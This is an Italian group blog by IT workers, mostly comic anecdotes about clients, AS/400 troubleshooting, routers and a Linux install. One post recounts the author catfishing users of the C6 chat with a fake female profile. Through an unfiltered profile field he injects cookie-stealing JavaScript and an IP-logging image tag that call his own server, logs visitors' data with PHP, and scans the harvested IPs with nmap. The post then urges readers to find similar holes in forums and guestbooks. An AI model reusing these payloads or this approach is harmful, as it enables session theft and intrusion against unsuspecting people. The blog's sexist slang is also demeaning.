Il Dictionary di Staminkia

Le ferie sono finite e come molti di Voi oggi ho ricominciato a lavorare...per fortuna non ci sono stati grossi spappolamenti di minkia anzi direi che è stata una giornata piuttosto tranquilla.

Visto il lento riprendere della attività lavorative posso ancora godermi qualche mezza giornata a non fare nulla che sia strettamente connesso alle richieste dei miei skassa-clienti...

Ne approfitto quindi per pubblicare questo post in un caldo pomeriggio di fine estate descrivendo alcuni dei termini che Vi potrà capitare di leggere nei prossimi post.

• STAMI : per dire "Sta Minkia"
• STAFU : per dire "Sta Funcia di Minkia"
• STAGRAN : per dire "Sta Gran Funcia di Minkia"
• STOKA : per dire "Sto kazzo"
• A SUKKIARE : espressione per suggerire ad un collega in modo ironico di usare la bocca per risolvere un problema mediamente complesso
• IMANARO : usato in dialogo tra colleghi per sminuire le altrui osservazioni o mostrare indifferenza (leggete al contrario e forse capirete)
• MELA : usato a volte tra colleghi per indicare apprezzamenti verso tope incontrate in ambito lavorativo ("Me La Farei!")

Sarà nostra cura spiegarvi altri termini non inclusi in questo elenco qualora nei prossimi post dovessimo farne uso...:-)

XSS : pericolo o passatempo?

Quello di cui vi voglio raccontare oggi è un esperimento condotto qualche mese fa in uno dei rari momenti di calma in cui la mia mente non era assillata dalle solite scadenzze e scassature di minkia varie dovute al lavoro di routine.
Come avrete intuito dal titolo il tema di questo post è l'XSS acronimo con cui si indica il Cross Site Scripting: per chi non lo sapesse si tratta di una delle più note e ed a oggi più sfruttate vulnerabilità di internet che colpisce di solito gli ignari utenti della rete...
Il propagarsi della problematica XSS fa leva sul fatto che molti web designer, per ignoranza o pigrizia, non filtrano il contenuto proveniente dai form messi a disposizione degli utenti del sito...provocando involontariamente problemi come quelli che tra un pò vi descriverò in dettaglio.
Dopo questa breve intro sul problema XSS passiamo ai fatti.
Dovete sapere che tra i miei passatempi estivi c'è quello di frequentare alcune famose chat...tra queste una che sicuramente merita di essere menzionata è quella di C6 (anche perchè è stata oggetto di questo esperimento).
Come molti di voi ho diversi nick presenti su C6...e come molti di voi quando mi collego mi dedico all'attività di "caccia alla topa" cercando di sollecitare una reazione da parte delle numerose "ragazze" online.
Un giorno di qualche anno fa però mi venne in mente la seguente idea : "Ma cosa succederebbe se creassi un profilo femminile con un nick a doppio senso e con annessa la bella foto di una gnocca?" ...in questo caso tra il dire e il fare sono passati meno di 5 minuti col risultato che ogni qualvolta il personaggio del mio nuovo profilo si connetteva a C6 cominciava a ricevere un messaggi al ritmo di uno ogni 5 secondi (naturalmente tutti cacciatori di topa come me).
In realtà il motivo per cui avevo creato sto nick era leggere ed eventualmente rubare qualche frase ad effetto lanciata dagli altri concorrenti per poi riutilizzarla ai miei fini...però durante la creazione del profilo mi sono accorto, adesso non ricordo esattamente come, che tra i campi messi a disposizione del navigatore per inserire le vaie descrizioni ce ne stava uno il cui contenuto non veniva filtrato prima di essere pubblicato on line...sto parlando per l'esattezza del campo "viaggi" : un textarea abbastanza grande per consentire di inserire una buona quantità di testo...e qui torniamo al tema del post...
Benchè fossi già a conoscenza della problematica XSS, fino a quel momento non ero riuscito a trovare un'applicazione pratica che mi facessere rendere conto della pericolosità del problema...infatti ciò che oggi trovate sulla rete sono esempi banali che indicando per lo più di iniettare codice javascritpt come ad esempio

<script>alert(document.cookie);</script>

che dipersè vuol dire tutto e niente ma più che altro non fa capire una minkia...ovvero detti in altri termini :"Che kazzo me ne faccio del document.cookie? ...notate infatti che se anche riuscite ad iniettare l'esempio dato in qualche form sulla rete il risultato dello script verrà mostrato solo sul client che visualizza la pagina dove lo script stesso è iniettato senza che voi ne sappiate nulla...

In generale rubare un cookie serve per consentire al "ladro" di entrare su un sito riservato presentandosi con le stesse credenziali di colui che ha subito il furto stesso...nel nostro caso avrei quindi potuto fare in modo di farmi inviare il cookie dei visitatori del mio falso profilo iniettando il codice seguente:

<form action="http://miosito.com/ruba_cookie.php" name="ladro" target="_blank" method="post">
< input type="hidden" name="info" >
</form>
<script>
var frm=document.ladro;
frm.info.value=document.cookie;
frm.submit();
</script>


Il codice dello script ruba_cookie.php potrebbe quindi essere più o meno il seguente:


<?php

if (isset($_POST["info"])) {
scrivi_su_file($_POST["info"],date("Y-m-d H:i:s"));
}

?>

Ovvero un semplicissmo script che per ogni cookie ricevuto si occupa di memorizzarlo su un file (lascio a voi il compito di determinare come si scrive la funzione "scrivi_su_file" ...tanto è facile)

Una volta che avete rubato qualche cookie potete provare ad accedere al profilo del malcapitato utilizzando il vs. browser ...vi consiglio di utilizzare per questi scopi Firefox con il plugin Tamper Data

Ebbene nel mio caso,col profilo della supergnocca in questione, avrei certamente ottenuto i cookie dei miei visitatori ma francamente vista la velocità con cui arrivavano sarebbe stato abbastanza fastidioso e poco divertente entrate sui loro profili...
...piuttosto che i cookie ero invece più interessato agli indirizzi ip dei malcapitati...infatti nella mia mente pensavo già di raccogliere un bel numero di indirizzi ip da dare poi in pasto a qualche scanner di vulnerabilità alla ricerca di qualche buco che mi consentisse di infiltrarmi dentro al pc dei miei visitatori piuttosto che nei loro profili di C6...
Eccovi quindi cosa ho iniettato nel campo viaggi del form :


<img src="http://miosito.com/ruba_ip.php" >

ovvero una semplice immagine il cui url puntava a uno script PHP il cui codice è :

if (getenv(HTTP_X_FORWARDED_FOR)) {
// se il visitatore usa un proxy non anonimo
$ip = getenv(HTTP_X_FORWARDED_FOR);
} else {
$ip = getenv(REMOTE_ADDR);
}
scrivi_su_file($ip);

Inutile dirvi che nel giro di qualche minuto di collegamento avevo già un elenco di oltre una ventina di indirizzi ip da dare in pasto al mio nmap... con i risultati che qualcuno di voi potrà già immaginare...

MORALE DELLA FAVOLA? ...se come me vi piace la "caccia alla topa" almeno siate sicuri di avere un buon firewall...a meno che non vogliate diventare voi la preda...

NOTE FINALI
Purtroppo mentre vi scrivo C6 ha già corretto questa vulnerabilità...non so bene quando ma probabilmente si sono accorti della minkiata è hanno provveduto a filtrare il contenuto di tutti i campi ma vi assicuro che là fuori esistono un sacco di form con questi problemi...basta cercarli...provate sui forum o sui guestbook fatti in casa...li avrete molte più chance...

Brainstom? No grazie...

Per quei pochissimi che non conoscessero questo termine significa, letteralmente, "tempesta di cervelli" e viene spessissimo usato al posto del termine riunione, molto più appropriato secondo me...
Tra le molteplici attività di cui mi occupo ce ne sono alcune che mi vedono periodicamente impegnato per lunghi periodi presso la sede di un cliente, per curare lo sviluppo o gestire la manutenzione di un particolare software da poco rilasciato...durante questi periodi, quasi sempre all'inizio di ogni settimana, capita di ritrovarsi a leggere una mail che più o meno recita "Oggi alle 15.30 Brainstorm".
Ebbene dovete sapere che una delle cose in assoluto che più mi skassa la minkia è iniziare la mia settimana lavorativa con una di queste riunioni : mi ritrovo quasi sempre circondato perlopiù da gente che si occupa di marketing, e che quindi di IT non ne capisce un kazzo (tranne rarissime eccezioni) che pende dalle mie labbra per domande del tipo : "Quanto tempo ci vuole a fare questa modifica" oppure "Quando possiamo mettere in linea il nuovo sito, 2 giorni ti bastano?" oppure ancora "Quanto tempo ci vuole per realizzare un sistema di pubblicazione che cambia la struttura e i contenuti del sito automaticamente ogni 6 mesi? (non sto scherzando)"....e assurdità simili...
Alla fine queste riunioni durano anche botte di 2 o 3 ore e terminano quasi sempre senza che nessuno abbia preso un appunto o, ancora peggio, una decisione operativa...quindi praticamente sono solo ore buttate al vento ...e poi i clienti mi chiedono "Ma perchè questo ritardo nella consegna?" e io penso "Ma perchè mi skassi la minkia con i BRAINSTORM invece di farmi lavorare in pace?"

Ancora vivi...

A distanza di più di 2 anni dall'ultimo post abbiamo deciso di ridare vita a questo blog, nuovamente convinti dal fatto che una buona idea ogni tanto deve trovare spazio in mezzo agli innumerevoli impegni e skassamenti di minkia che quotidianamente assillano la nostra routine.
Questo blog nasce come diario di bordo delle attività di un gruppo di professionisti impegnati in diversi campi dell'informatica : a parte l'attività lavorativa li accomuna il fatto di avere a che fare con clienti dalle richieste e dalle problematiche assurde che quasi sempre si traducono in attività lavorative più che stressanti....Ci serviva quindi un posto dove sfogarci e raccontare le nostre "avventure" affinchè altri potessero trarne insegnamenti....
In mezzo a tutti gli sfoghi troverete comunque diversi post in cui riporteremo i nostri esperimenti soprattutto quelli relativi al mondo dei sistemisti e dei tecnici della sicurezza informatica...
Tutti i post di questo blog sono firmati in maniera anonima per salvaguardare le ns. identità ma soprattutto per non sputtanare i ns. clienti, visto che, fino a quando pagano, non se lo meritano.
Buona lettura a tutti.

Alcuni posts prima di andare in ferie...

Ciao ragazzi... per ora abbiamo un po' lasciato senza post questo bel blog per motivi di lavoro...
Cmq state sempre sintonizzati, perchè priam di andare in ferie posteremo sicuramente altre notizie fresche fresche per voi... sperò veramente siano fresche perchè per ora con questo caldo è una tortura!!!!!
A presto!
Ciao ciao...

Formule magiche

Da un vecchio esorcismo sancscrito, alcuni versi propiziatori capaci, pare, di scacciare la sfiga che sembra essersi impossessata delle nostre infrastrutture di TLC.

Da recitare doipo pranzo e dopo cena e in tutte le notti di luna piena

RABBMI
LO-YAK ZI ISCHTARI
KANPA!
INNANA ZI AMMA KANPA!
BI ZAMMA KANPA!
(IA IA IA BE-YI RAZULUKI!)

grazie a tutti coloro che vorranno aiutarci...

banner.gif?? meglio banner 2! piccole idiozie di un SO troglodita...

Ok, il sito è quasi pronto. Ho spostato la photogallery in una finestra a parte che si richiama con un banner animato che mettiamo in ogni pagina. Controlla e dimmi che ne pensi.

Ero più che tranquillo: le indicazioni del committente erano chiare e il lavoro era stato fatto secondo queste indicazioni, quindi mi preparo tutto tranquillo a dare le coordinate bancarie per il pagamento.

Il contatto msn arriva con la sua consueta finestrella dalla system tray. Eccolo.

Non vedo niente - mi fa.

Come non vedi niente?? - gli rispondo?

Eh.. non vedo niente! - insiste

Ma come? Non vedi il banner sotto la prima foto? - gli dico, già scommettendo su quale superalcolico avesse ingurgitato o nella peggiore delle ipotesi con quale browser stesse controllando il sito

Eh no.. - insiste il malefico.

Mahh... non so che dirti.. - gli rispondo QUASI rassegnato. Poi l'illuminazione. LA CACHE! Svuota quella maledetta cache (cazzarola, devo imparare a mettere il tag che la svuota automaticamente..) - gli faccio.

Fatto. - mi fa

Gli sparo un paio di emoticons, anche se il mio msn non ha quelle adeguate...

Non vedo niente. - continua.

Inutile incazzarsi.. Calma. Le impostazioni di internet nelle opzioni internet del browser, state pensando? Già. Peccato che ci abbia pensato anche io e abbia già dato indicazioni al cliente su come impostare di default tutto. Ma, ovviamente, non funziona. Il banner non si vede. Non solo non si vede il banner sulla pagina html, ma dando l'url con il path della gif continua a non vedere nulla. Calma..
Ho 4-5 contatti online, su msn. Passo il link a loro e dopo 4 secondi mi danno il verdetto. Win2000 vede il banner e apre la finestra con la foto gallery. Eh, lo sapevo..! Xp idem con patate. Evvai! Firefox, addirittura, se lo ingoia senza colpo ferire. E, incredibile ma vero, persino safari, sotto machintosh, non fa una piega! OTTIMO!

Mi spiace - gli dico - sono ca##i tuoi... La pagina funziona, il banner si vede e la finestra si apre. Chiamati un tecnico e fatti controllare le impostazioni (provo a proporgli una sessione con Vnc ma il tizio è EVIDENTE che non si fida, quindi non insisto più di tanto...).

Senti - continua - ci deve essere qualche problema nella pagina, perchè io non ho fatto niente rispetto a ieri. Fai una prova, metti un'altro banner.

Mah.. - gli dico - mi pare inutile, comunque proviamo.

Pesco un banner (quasi quasi gliene schiaffo uno porno) dal mio HD e glielo metto online.

Lo vedi? - gli chiedo, pensando che la risposta sarebbe stata negativa.

Due cigni che ballano - mi risponde (lo so, patetico.. ma è stato il primo che ho trovato..). E comuqnue ce n'è tanto per inca##arsi come una scimmia e strillare: NON E' POSSIBILE!!!!!

I seguenti 5 minuti li passo a fissare il monitor come un cretino, poi un'illuminazione.
tastodestro sul file - rinominafile - banner2.gif - invio - uploadfile.

Guarda ora - gli faccio, sconsolato...

...

...

ORA SI! - esclama!

COME ORA SI?!??!?!?!? - dico io.

La questione si chiude, troppo ore dopo... Senza tra l'altro che si sia riusciti a capire il motivo di questa demoniaca assenza di visualizzazione. WebToggleImages installato? No. Impostazioni sulla protezione del browser? Neanche.

Per intanto ho messo a disposizione una taglia, molto cospicua, sulla questione. Chi fornirà una risposta soddisfacente quest'anno se ne va in vacanza a spese mie. Ma mi sa che è più facile catturare osamabinladen che svelare un baco di IE...

Saluti (umidi).

the rush job calendar

inizio la mia collaborazione con questa prestigiosa testata (ehm...) riportando una metodologia di lavoro riscontrata in alcune aziende di informatica iperproduttive; tutto si basa su un calendario speciale che adatta il tempo a disposizione in funzione delle attività progettuali:

    __________________________________________ 
 / ~        the rush job calendar         ~   /|_____ _____ _____ _____ _____ _____ _____|| 
 || NEG | VEN | VEN | VEN | GIO | MER | MAR ||
 ||-----'-----'-----'-----'-----'-----'-----||
 ||  8  |  7  |  6  |  5  |  4  |  3  |  2  ||
 ||----- ----- ----- ----- ----- ----- -----||
 || 16  | 15  | 14  | 12  | 11  | 10  |  9  ||
 ||----- ----- ----- ----- ----- ----- -----||
 || 23  | 22  | 21  | 20  | 19  | 18  | 17  ||
 ||----- ----- ----- ----- ----- ----- -----||
 || 32  | 30  | 28  | 27  | 26  | 25  | 24  ||
 ||----- ----- ----- ----- ----- ----- -----||
 || 39  | 38  | 37  | 36  | 35  | 34  | 33  ||
 \|----- ----- ----- ----- ----- ----- -----|/

1. Questo è uno speciale calendario per gestire il lavoro febbrile. Come è noto, ogni attività commissionata serviva per ieri. Con questo calendario un lavoro può ad esempio essere richiesto il 7 e venire consegnato il 3 dello stesso mese.
2. La maggior parte delle consegne dei lavori viene richiesta per il Venerdì, pertanto sono stati previsti 3 Venerdì per ogni settimana.
3. Sono stati aggiunti 8 nuovi giorni ad ogni mese in considerazione delle attività angosciose tipiche della fine del mese.
4. Non esiste il primo giorno del mese; in tal modo si evitano le consegne in ritardo dei lavori dell'ultimo minuto del mese precedente, lavori effettuati notoriamente in preda al panico.
5. I postumi del Lunedì vengono aboliti in conseguenza della soppressione dei Sabati e delle Domeniche, giorni notoriamente non produttivi.
6. E' stato introdotto un nuovo giorno, il giorno di Negoziazione - altresì detto "di Trattativa" - in modo da poter tenere gli altri giorni sgombri per un ininterrotto e sano panico.

L'esaurimento a volte è cronico.. nelle persone...

Ma che vi devo dire ragazzi... che poco fa mi ha chiamato una tizia che aveva portato il suo pc tutto elabbborato... in assistenza??...
Premetto che il pc è uno scarsissimo pentium con 128 mb di ram, masterizzatore, lettore cd, 1 hd da 4 gb, scheda audio pci, scheda video pci, scheda usb pci!, e poi tutto un sitema di cavi e cavetti... che sembrava di essere in una dorsale telecozz...
la tizia chiamandomi, lamenta il fatto... sentite a piene orecchie... che mancano 2 viti sul case!!! 3 cavi cavi all'interno staccati... e il lettoer cd che non funziona...
Bene... vi dico solo che lei è arrivata da me dicendo che non funzionava nulla e voleva sapere se era possibile potenziare il pc... cosa???
si : " volevo sapere se reinstallandolo potevi mettermi windows xp, magari un po' di memoria in più e perchè il lettore cd non funziona..."
signirina, purtroppo non posso fare nulla... è un vecchio pc, che fra l'altro ha problemi di piastra madre e per questo a volte vede le unità ed a volte non le vede più... (lamentava anche il fatto che non si vedesse più c:... e secondo voi è da potenziare...??? mha...)...
Lo rimonto e lo ridò...
dopo 2 giorni chiama (poco fa) dicendo che non funziona più nulla...
ma caxxo.. ma la gente è veramente esaurita...
le dico subito la premessa del malfunzionamento... e comincia a lamentarsi perchè non vede più le unità... perchè i cavi sono staccati... (non ho mai toccato cavi in quel case...) e che mancano quelle famose viti di cui accennavo prima...
l'esaurimento al massimo le dice anche che non ha chiamato per dirmi che sono stao io a fare quello che ha trovato... ma per coem le ho lasciato il pc...
dico, ma è fuori di testa??
analizzando entrambe le affermazioni, secondo l'italiano, almeno per quello che ne capisco io... non significano forse la stessa cosa??? mha.. sarò ignorante, ma per me sono affermazioni uguali...
ed io:" scusa, ma allora perchè mi stai chiamando??".. e lei: " no, solo per farti sapere questo..." ah bene, pure rompiballs... tutto ciò mentre sto lavorando... bene...
se alle persone va bene passare il tempo così... allora mi attrezzerò.. con un avviso automatico... mha... che gente... esaurita...
ihiiihiiihiiiii
alla prossima... (to be continued)

...un linguaggio internazionale...

Ragazzuoli... mi appresto a finire anche questa mattinata in ufficio... sperando che qualcuno non chiami alle 13.25 come succede spesso (premetto che vado via da qui mediamente alle 13.45 circa), per risolvere magari qualche stupido problema di icone spostate o di falso collegamento... oppure ancora si email che non partono... perchè sbagliano a scrivere l'indirizzo!!! Si, succede anche questo... nell'ufficio più "pazzo del mondo!"...
La mattinata è iniziata bene... come pensavo, anzi temevo... passo dalla collega che si occupa del web su as400 ed indovinate che mi dice?? :"si... potrebbe andare bene... ma ci sono ancora delle cose da fare che mi ha detto il tecnico del programma e non so se sono capace in quanto troppo specifiche..." ed io:" bene... (nel frattempo stava stampando un malloppone di cose...) quindi ci sono correzioni?? comunque fammi sapere se hai bisogno, mi trovi al solito posto...", devo dire che non c'è stato bisogno del mio intervento, quindi almeno per questa volta, posso andare a casa a mangiare un bel piatto di pasta! invece del solito gelato... ehee :)
Ma la mattinata prosegue... perchè se non c'è suspance in questo lavoro... ti annoi troppo!!
Infatti mi chiamano sempre dal reparto operativo, dicendo di andare da loro "immediatamente" perchè c'è un bel pesce grosso che è venuto dalla Spagna (un loro cliente al quale mettono tappeti rossi, petali di rosa per terra e quant'altro...) che deve collegarsi ad internet col suo portatile per poter lavorare... io risponde, certo sono li in un attimo... pensando che fosse una stupidaggine...
Si sii, come no... la tizia voleva collegarsi con un doppino rj11, per intenderci quello del telefono, collegato su uno switch Dlink quindi in una porta per rj45...
Io, sapendo l'ignoranza che regna sovrana, provai a collegarla con un cavo di rete al network... ma indovinate come era impostato l'account di Winzozz Xp?? con quelle caxxo di restrizioniiii!!!! e non sapeva nemmeno la password!!!! a quel punto stanco di tutto decisi di farla collegare con un doppino rj11 ad una presa telefonica, ma che bypassasse il centralino pestifero, che a volte nemmeno ti fa passare le chiamate regolari... ihhiiihhiii, ma nulla, la tizia voleva collegarsi ad internet con la connessione spagnola... l'apoteosi dell'ignoranza!!!! e la Telecozz brontolava...: Attenzione questo ca..o di numero è inesistente! ehee
Alla fine di ciò, dopo essermi immolato per poter fare collegare la spagnola... mi dicono:" va bè, dai, se non ci riesci, ci colleghiamo da un pc dell'ufficio..." non me lo avessero mai detto!!!! ma che ca..o... tre ore di lavoro, di martirio... ed alla fine mi rispondono così??? ma vada via el trap!!!!

Alibaba... ed i 40 ladroni... anzi truffatori!!!

Ebbene si, oggi dopo circa 3 giorni che ci sto addosso, ho finalmente smascherato una pseudo-società che si spacciava per una società seria dal nome Tech Expert che si occupa, secondo il profilo trovato sul sito Alibaba.com, di componenti elettronici, quali players di vario genere, hd e molto altro... si si, come no... praticamente ho scoperto intanto che postavano solo dal pannello di questo sito, per poter camuffare la loro identità e secondo attirano la gente con quotazioni stracciatissime! ... quindi mi sono chiesto... "avrò trovato la gallina dalle uova d'oro? oppure loro hanno trovato il pollo da spennare??" ovviamente la risposta è retorica! infatti trattasi di una società fittizia, in quanto la famigerata lisa newman (responsabile del reparto marketing) , altri non era che un tizio capace di sfruttare il sito SeeqMail.com per poter avere indirizzi del tipo nomechevuoi@techexpert.com e da qui quindi anche ilnome della società. Questo è stato il trucchetto che lo ha contraddistinto perchè se vuoi scorrete lungo il menu a finestra del sito, vi accorgerete proprio la vastità di pseudo domini che possono essere sfruttati tranquillamente per abbindolare un bel po' di gente... Non do sicuramente colpa alla SeeqMail... ma dai caxxo... almeno un po' di inventiva.... su... dai.. che ce vo'?? mette che so... @pinopino.net... @giorginio.biz... ed altre cavolate... ma non un @automotivecenter.com o cose simili... sanno troppo di azienda e qualcuno, come in questo caso, ne approfitta...
Morale della favola, contattai tramite mail, il sito di Alibaba, sperando che almeno loro non fossero ladroni come lisa newman! :) ed ebbi una bellissima risposta che vi post di seguito:"

Dear Mr. Y,

Thanks for your email.

I don't think Tech Expert is a reliable company. I have deactivated its account

at our database. All of their postings will be removed from our site within

twenty four hours.

We summarized some basic safe tips according to our experience. You can
take the following measures before you embark on the trading process.

1) Call the telephone and fax numbers provided to know that they are
up-to-date;
2) Check with the registrar of business in the country that the suppliers
comes from to ensure that the business is legitimate and licensed to
operate;
3) Pay for a sample before purchasing in bulk to be sure that the item
meets your expectations;
4) If the trader keeps on talking about payment or other sensitive issues
rather than pursuing the regular business process, more attention are
suggested to be given to the transaction. Be suspicious if a seller
tells you how to "safeguard" your purchase by putting a money transfer
transaction in the name of a friend or loved one, or how to establish a
"test question." These actions will not protect you from a fraudulent
seller;
5). Low prices don't always mean fraud but drastically low prices warrant
a closer look before you buy. Ask the seller about the item as much as
possible. The more difficult and technical the question is, the better.
If you don't get a reply it would be wise to pass on this trade.

If you have any further question, please feel free to contact me.

Sincerely Yours,
Alibaba service team
Email: alibaba@alibaba-inc.com"

Che ne dite?? bhè, questa si che è serietà...
Alla fine di tutto questo, fino a questo momento non ho più ricevuto email da queste persone, quindi significa che per un po' di tempo non si faranno sentire... almeno non sotto questa forma!!! Uhahhuuuaaaaaa UUUHaaauhaaaaa

La bambina di IBM saprebbe fare questo??

Porca pupazza....
Ma è possibile che ogni giorno che passa c'è sempre un'installazione di qualche correzione al programma di gestione che gira su uno zozzissimo as400??
Già ragazzi, anche oggi ho preso la mia buona dose di comandi rstlib.. savf... call ucc020 ed altre minkiate varie... che palla! ma che ce vuole a passare ad un sistema autoinstallante che richieda solo pochi click!?? Eppure IBM è quella Company che fa la pubblicità in tv con la bambina che combina caxxate ed il server si ripristina in automatico!!! si... sii... come in questo caso... che se fai una cavolata ti si cancella una gestione web intera!!!!!!! ma va...
Sicuramente domani mi manderanno altre mail per sapere se funziona tutto.... mha... speriamo bene.... e speriamo soprattutto che non mi dicano... : "per favore puoi ripristinare quest'altra libreria? perchè mi serve per andare avanti"...
BASTAAAAAAAAA!!!! ;)

Live from Telecozz

Ci siamo! Dopo una serie di rimpalli, dopo inquietantissime visite di ingegneri telecozz con tanto di codazzo tecnico exsirtericiclato, stamattina l'offerta multigroup della telecozz sembra finalmente assumere la configurazione definitiva.
Dopo un router Ericsson che neanche Gesù bambino è riuscito a configurare, e dopo il tentativo da parte del monpolista di spacciare un Pirelli (subito battezzato "pirellone stominkione"), stamattina arriva il tecnico della telecozz con un brillantissimo imballo sotto braccio.
"E' arrivato il router, finalmente!", strilla tutto lascivo entrando in stanza.
Finalmente i servizi VOIP e i servizi dati potranno funzionare assieme, pensiamo e speriamo noi!
Tutto sommato, ci viene da dire, tutto è bene quel che finisce bene.
Sgombera il tavolo, asciuga la saliva che ti cola dagli angoli delle labbra e scarta tutto!
SORPRESA!!!!
Ma perchè c'è scritto Bintec!!!
E perchè ha le stesse dimensioni di un pacchetto di sigarette?
E perchè pesa poco più di 25 grammi?

E perchè non muori...?
(1. continua...purtroppo)

INIZIAMO CON QUALCOSA DI SOFT...

Ciao a tutti!
Iniziamo questo bel pomeriggio caldo con qualcosa di veramente soft... una bella installazione di Fedora per server!!!
Non ho mai fatto una roba simile!! Chissà come si comporterà il serverino, un Pentium4 HT dal case Thermaltake Tsunami molto carino, di colore nero metallizzato con 2 dischi in raid e tanta voglia di essere installato! (almeno lo spero)...
Sempre che qui non salti nuovamente la corrente facendomi perdere ore di lavoro... vi farò sapere nelle prossime ore che risultati avrò.
Inserite questo blogghissimo fra i preferiti e tenetivi aggiornati!
Ciaoooooooooooooooooooooo!!!

La pace prima della tempesta?

Che bello finalmente una domenica lontano dai problemi....passata in spiaggia senza a rilassarmi come non facevo da tempo...ci voleva proprio!
Ma da domani (tra poche ore) sareom di nuovo sul campo ...quale sarà il problema domani : qualche client windows che deciderà di non avviarsi? Oppure qualche server Linux che non becca più l'ADSL di Telecom?o ancora qualche magagna durante lo sviluppo in .NET che rallenta la produzione di 2 giorni?....insomma restate sintonizzati...domani vi racconto....

Sabato mattina?...la prox volta tengo il cellulare spento

Una settimana di lavoro duro alle spalle...quando finalmente ti svegli sabato mattina pensi a come trascorrerai le tue giornate di riposo....magari a non fare nulla a poltrire su qualche bella spiaggia...fai colazione....una bella doccia e poi...chissà perchè accendi quel telefonino....staminkia non l'avessi mai fatto!
Manco passano 2 minuti che comincia a squillare....nella mia mente penso "chi zazzo è a quest'ora!" poi guardo il numero.....:NOOOOOOOOOOOOOOO! ....il mio incubus....una chiamata dall'ufficio degli orrori informatici di sabato mattina! ...la tentazione di staccare era fortissima ma il mio senso del dovere ha prevalso e allora ho risposto.
Minkia lo sapevo...un problema con AS400!
Al telefono mi spiegano che non riescono a collegarsi più al server..."E' andata via la luce e non riusciamo più a collegarci!"
Comincio a tremare : vuoi vedere che quel zazzo di bestione si è fuso qualche alimentatore?!
Incomincio allora a toccare tutto ciò che di ferro ho a portata di mano e chiedo allo scassazazzi di turno di recarsi nella stanza del server per vedere se era vivo (il server)
Con mio enorme sollievo as400 era acceso "Le lucine sono accese" (le lucine dei miei....)....indirizzo allora la persona verso la console (per fortuna che ne hanno una) e gliela faccio accendere...miracolo (culo!?) il server presenta la schermata di login vuol dire che probabilmente non ci sarà bisogno di vestirsi (ero ancora in mutande) e scendere di corsa verso l'ufficio fonte dei miei problemi....
Comincio a pensare quale potrebbe essere il problema e ricollegando ciò che mi era stato detto ad inizio telefonata "E' andata via la luce..." mi torna in mente un problema che hanno sti bestioni....quando rilevano un problema di rete (rete Ethernet non rete elettrica) disattivano la linea dati ( ma perche zazzo non si sà) mettendola in uno stato che solo se hai una console o se operi un riavvio puoi riuscire a recuperare....ma il mio era solo un sospetto...dovevo verificarlo e solo il tizio al telefono poteva aiutarmi...lo faccio loggare come QSECOFR e appena dentro gli detto il comando per verificare lo stato della linea - per chi non lo sapesse i comandi di AS400 sono nel formato tipo codice fiscale ovvero tutti acronimi per rendere mnemonicamente più semplice il loro utilizzo....peccato però che sono almeno 5000 se non di più - dicevo del comando...a si.... comincio a fare lo spelling al telefono "washington roma kappa como firenze genova savona torino savona spazio asterisco livorno imola napoli" ovvero WRKCFGSTS *LIN...all'invio il disturbatore si vede davanti una schermata e mi dice "ci sono delle scritte strane" e io " e dimmele ste scritte...." e lui " si allora la prima riga dice etline riccpnd" e io "cosa??" si "eline rcopnd" e io (un pò impaziente) "mi puoi fare lo spelling? " e lui "si ok! empoli torino hotel livorno imola napoli empoli roma como ypsilon palermo napoli domodossola" (ETHLINE RCYPND)....e io penso esultante "minkia vai e una zazzata la risolvo facile al tel!!!!" ...per risolvere sta cosa bisogna fare semplicemente la disattivazione della linea e quindi la riattivazione....se c'è anche sul il protocollo TCP/IP allora prima occorre disattivare quello altrimenti AS400 si incazza...cmq tralasciando gli spelling vari (ci vorrebbe un'altra mezz'ora) i comandi da dare sono :
1) GO TCPADM per entrare nel pannello di controllo del TCP
2) inserire l'opzione per disattivare il TCP
3) tornare allo stato della linea col comando WRKCFGSTS *lin e disattivare la linea ethernet
4) riattivare quindi la linea con l'opzione 1 e quando è di nuovo active...
5) ... tornare al pannello di controllo del TCP e riattivarlo

...vi lascio immaginare quanto tempo mi ci è voluto per farmi capire al telefono...cmq alla fine tutto è tornato alla normalità....cmq la causa di tutto ciò e che lo switch dove e collegato il server (che dovrebbe essere sotto UPS per evitare ste cose) evidentemente ha subito qualche manomissione (qualche penide l'avrà scollegato dal gruppo) e quindi alla prima occasione va rimesso a posto...
Cmq sono riuscito a risolvere tutto in mutande grazie anche alla fortuna di avere trovato un tizio al telefono che ha saputo mettere in pratica le mie istruzioni a dovere ....e staminkia ogni tanto un pò di fortuna anche io no????

Come ti installo la Lycoris/Lx su un muletto

Configurazione Muletto
Cpu pentium 200 mmx
Scheda madre con chipset intel
Scheda video cirrus logic gd5464 4Mb
Scheda di rete rtl 8129
Lettore cd 52x
Hd 2,5 Gb Samsung
Floppy drive (inutilizzato per l’esperimento)
32 Mb di ram in banco sdram pc66
-------------------------------------------------------------------
Premetto che questa distro l’ho sempre pensata come una vera copia di windows xp guardando degli screenshot su internet, ma anche di presenza devo ammettere che è proprio identica!!! Ho pensato fra me e me e mi son chiesto: windows xp non può assolutamente essere installato su un pc muletto con le caratteristiche scritte in alto… ma la Lycoris/Lx Desktop lo potrà fare??
Mi sono messo subito all’opera per assemblare il mio muletto… un pezzo qui.. un pezzo la… ed è fatto… posso ora cominciare ad installare la Lycoris Xp, ehee scusate Lx!
Appena acceso il pc con il cd inserito, compaiono immediatamente innumerevoli stringhe… di riconoscimento hardware…scheda madre… cpu… scheda di rete etc. Subito dopo inizia la grande emozione alla comparsa dell’interfaccia user-friendly, una interfaccia grafica simile a windows xp, ovviamente, in cui si hanno 3 scelte per continuare con l’installzione del sistema:
1- Installazione Completa di Lycoris
2- Don’t Probe Video card
3- Don’t Probe hardware
Secondo la logica windowsiana, la scelta da effettuare immediatamente è la 1, ma… c’è un ma… infatti anche se la lycoris è molto simile al sistema Microsoft, è sempre una LINUX! quindi ovviamente, non ha riconosciuto subito la scheda video che io avevo installato e sono stato costretto a scegliere la seconda delle tre (Don’t Probe Video card) in modo tale da far usare solo per l’installazione la sua configurazione di default. Facendo così, ha proseguito per il meglio, quindi la scelta è stata esatta, fino ad arrivare alla vera chicca di questo sistema linux e cioè L’ENTERTAINMENT SECTION EMBEDDED, un verò e proprio solitario uguale in ogni sua parte a quello presente su windows, uscito fuori durante l’installazione, per non far annoiare l’utente… che ingegno!! Quando la barra di scorrimento è arrivata al 100% il sistema può essere ora avviato. CHE EMOZIONE!!!! E come per magia compare un desktop di un prato verde con un cielo azzurro e qualche nuvola diradata!!! Ma dove sono finito!!! Sono in XP!! No! Sono in Lycoris/Lx!!! Fantastico, veramente fantastico.Un desktop realizzato con una KDE modificata ed adattata ad un utente desktop per avere tutto a portata di mano. La risoluzione è ottima, anche l’apertura del menù in basso a sinistra, per intenderci, lo start di Xp… ehee …ihiiihii…
